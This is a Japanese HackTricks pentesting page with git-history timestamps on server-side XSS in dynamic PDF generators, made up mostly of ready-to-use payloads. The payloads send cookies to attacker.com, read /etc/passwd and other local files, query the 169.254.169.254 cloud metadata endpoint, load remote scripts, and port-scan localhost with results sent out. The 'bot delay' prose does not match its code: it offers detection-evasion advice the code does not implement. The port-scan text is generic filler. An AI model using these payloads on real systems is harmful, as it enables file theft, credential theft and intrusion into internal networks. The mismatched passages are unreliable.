hacktricks/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md

212 lines
15 KiB
Markdown
Raw Normal View History

2023-07-07 23:42:27 +00:00
# サーバーサイドXSS動的PDF
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
2023-07-07 23:42:27 +00:00
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
2022-04-28 16:01:33 +00:00
</details>
2023-07-07 23:42:27 +00:00
## サーバーサイドXSS動的PDF
2022-04-30 10:09:20 +00:00
ウェブページがユーザーが制御する入力を使用してPDFを作成している場合、PDFを作成している**ボットをだます**ことで、**任意のJSコードを実行**させることができます。\
したがって、**PDF作成ボットが**いくつかの種類の**HTML** **タグを見つけると**、それらを**解釈**し、これを悪用して**サーバーXSS**を引き起こすことができます。
2023-07-07 23:42:27 +00:00
`<script></script>` タグは常に機能しないことに注意してください。そのため、JSを実行するためには別の方法が必要ですたとえば、`<img` を悪用する)。\
また、通常の攻撃では作成されたPDFを**表示/ダウンロード**することができるため、JSを使用して書いたものをすべて見ることができますたとえば、`document.write()` を使用。ただし、作成されたPDFを**表示できない**場合は、おそらく**Webリクエストを行って情報を抽出する**必要があります(ブラインド)。
### 人気のあるPDF生成方法
* **wkhtmltopdf**_これは、HTMLとCSSをPDFドキュメントに変換するためにWebKitレンダリングエンジンを使用するオープンソースのコマンドラインツールです。_
* **TCPDF**_画像、グラフィック、暗号化など、さまざまな機能をサポートするPDFドキュメントを生成するためのPHPライブラリです。_
* **PDFKit**_HTMLとCSSからPDFドキュメントを生成するために使用できるNode.jsライブラリです。_
* **iText**_デジタル署名やフォーム入力などの機能をサポートする、JavaベースのPDFドキュメント生成用のライブラリです。_
* **FPDF**_軽量で使いやすいPHPライブラリで、PDFドキュメントを生成するために使用されます。_
2023-07-07 23:42:27 +00:00
## ペイロード
2023-07-07 23:42:27 +00:00
### ディスカバリー
```markup
2021-09-08 08:59:37 +00:00
<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
2021-09-08 08:59:37 +00:00
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">
```
2022-10-02 15:25:27 +00:00
### SVG
2021-06-16 09:00:28 +00:00
次のいずれかのペイロードをこのSVGペイロード内で使用することができます。Burpcollabサブドメインにアクセスするiframeと、メタデータエンドポイントにアクセスする別のiframeが例として挙げられています。
2021-06-16 09:00:28 +00:00
```markup
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
2023-07-07 23:42:27 +00:00
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
2021-06-16 09:00:28 +00:00
</svg>
2022-04-30 10:09:20 +00:00
<svg width="100%" height="100%" viewBox="0 0 100 100"
2023-07-07 23:42:27 +00:00
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
2022-04-30 10:09:20 +00:00
</svg>
2021-06-16 09:00:28 +00:00
```
2023-07-07 23:42:27 +00:00
他のSVGペイロードについては、[https://github.com/allanlw/svg-cheatsheet](https://github.com/allanlw/svg-cheatsheet)で多くの情報を見つけることができます。
2021-06-16 09:00:28 +00:00
2023-07-07 23:42:27 +00:00
### パスの開示
```markup
<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>
```
2023-07-07 23:42:27 +00:00
### 外部スクリプトの読み込み
この脆弱性を悪用する最も適切な方法は、ボットがローカルで制御可能なスクリプトを読み込むように脆弱性を悪用することです。その後、ローカルでペイロードを変更し、同じコードでボットに読み込ませることができます。
```markup
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
```
### ローカルファイルの読み取り / SSRF
{% hint style="warning" %}
`file:///etc/passwd``http://169.254.169.254/latest/user-data` などの外部ウェブページにアクセスするために変更してみてくださいSSRF
もしSSRFが許可されているが、興味深いドメインやIPに到達できない場合は、[このページをチェックしてバイパスの可能性を確認してください](../ssrf-server-side-request-forgery/url-format-bypass.md)。
{% endhint %}
```markup
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
2021-09-08 08:59:37 +00:00
</script>
```
```markup
<script>
2023-07-07 23:42:27 +00:00
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
2021-09-08 08:59:37 +00:00
</script>
```
```markup
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
2020-11-04 10:26:58 +00:00
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
```
2022-07-06 02:55:19 +00:00
```markup
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
```
### ボットの遅延
2023-07-07 23:42:27 +00:00
Botの遅延は、Webアプリケーションのセキュリティをテストする際に重要な要素です。ボットは、自動化された攻撃を実行するために使用されるため、適切な遅延を設定することが重要です。遅延を設定することで、攻撃が検出されるリスクを減らし、アプリケーションの正常な動作を維持することができます。
2023-07-07 23:42:27 +00:00
ボットの遅延を設定するためには、以下の手順に従ってください。
2023-07-07 23:42:27 +00:00
1. リクエストの間隔をランダム化する:攻撃者がボットを検出しにくくするために、リクエストの間隔をランダムに設定します。これにより、攻撃が自動化されたものとして特定されるリスクが低くなります。
2023-07-07 23:42:27 +00:00
2. ユーザーエージェントの偽装:ボットが正当なユーザーとして認識されるようにするために、ユーザーエージェントを偽装します。これにより、攻撃が検出されるリスクが低くなります。
3. リクエストの順序を変更する:攻撃者が特定のパターンを検出しにくくするために、リクエストの順序をランダムに変更します。これにより、攻撃が予測されるリスクが低くなります。
ボットの遅延を設定することで、攻撃の検出リスクを低減し、セキュリティテストの効果を最大化することができます。
```markup
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
2023-07-07 23:42:27 +00:00
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">
```
2023-07-07 23:42:27 +00:00
### ポートスキャン
ポートスキャンは、セキュリティテストの一環として使用されるネットワークスキャンの手法です。ポートスキャンは、特定のネットワーク上のホストに対して、開いているポートを特定するために使用されます。これにより、攻撃者はネットワーク上の脆弱性を特定し、潜在的な攻撃経路を見つけることができます。
ポートスキャンは、さまざまな方法で実行することができます。最も一般的な方法は、TCPポートスキャンです。攻撃者は、特定のポートにTCP接続を試み、接続が成功するかどうかを確認します。成功した接続は、開いているポートを示し、攻撃者はそのポートを標的として攻撃を試みることができます。
ポートスキャンは、セキュリティ上の脆弱性を特定するために使用される一方で、悪意のある攻撃にも使用されることがあります。したがって、正当な目的でのみ使用することが重要です。また、ポートスキャンは、ネットワークの所有者の許可を得て実行する必要があります。
```markup
<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
2023-07-07 23:42:27 +00:00
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}
for(let i=0; i<1000; i++) {
2023-07-07 23:42:27 +00:00
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">
```
2022-10-02 15:25:27 +00:00
### [SSRF](../ssrf-server-side-request-forgery/)
この脆弱性は非常に簡単にSSRFに変換できますスクリプトが外部リソースを読み込むことができるため。そのため、単にそれを悪用してみてくださいメタデータを読み取るなど
### 添付ファイルPD4ML
2022-12-27 12:57:39 +00:00
2023-07-07 23:42:27 +00:00
**PD4ML**のようないくつかのHTML 2 PDFエンジンでは、PDFに添付ファイルを指定することができます。この機能を悪用して、PDFに**任意のローカルファイルを添付**することができます。\
添付ファイルを開くために、ファイルを**Firefoxで開き、ペーパークリップのシンボルをダブルクリック**して添付ファイルを**新しいファイルとして保存**しました。\
Burpで**PDFのレスポンス**をキャプチャすると、PDF内の添付ファイルが**クリアテキストで表示**されます。
2022-12-27 12:57:39 +00:00
{% code overflow="wrap" %}
```html
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>
```
{% endcode %}
2023-07-07 23:42:27 +00:00
## 参考文献
* [https://lbherrera.github.io/lab/h1415-ctf-writeup.html](https://lbherrera.github.io/lab/h1415-ctf-writeup.html)
* [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
* [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
* [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
2023-07-07 23:42:27 +00:00
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
2022-04-28 16:01:33 +00:00
</details>